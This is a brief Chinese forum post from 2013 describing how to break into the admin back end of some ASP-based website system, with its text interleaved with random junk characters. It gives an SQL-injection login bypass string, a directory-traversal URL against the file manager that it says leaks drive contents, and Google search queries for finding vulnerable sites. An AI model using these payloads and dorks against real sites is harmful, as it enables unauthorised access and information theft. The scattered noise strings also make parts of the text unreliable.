后台万能密码 'or'='or'% F5 s6 a% @$ r' q1 B& m8 j
" L1 v5 w; l7 Q* l; J后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
7 s! C: W) A, B9 I- n9 E6 Gadmin/uploadfile.asp?currentFolder=/upfiles/../
4 O. V6 T, r0 H
# ]1 C1 T) k$ A W' R0 _漏洞证明：- I1 e' V0 m! D/ R8 C) ^4 r
. u5 ~6 z* ]0 i ?
谷歌：inurl:type.asp?id=1 新闻中心% z2 E! ?! a: i
或者 ：inurl:download_ok.asp?
" _7 P) Y& {% o
0 ]8 V& U5 y9 Z" f7 R0 j# V5 S |
发表于 2013-3-14 20:17:32
收藏
支持
反对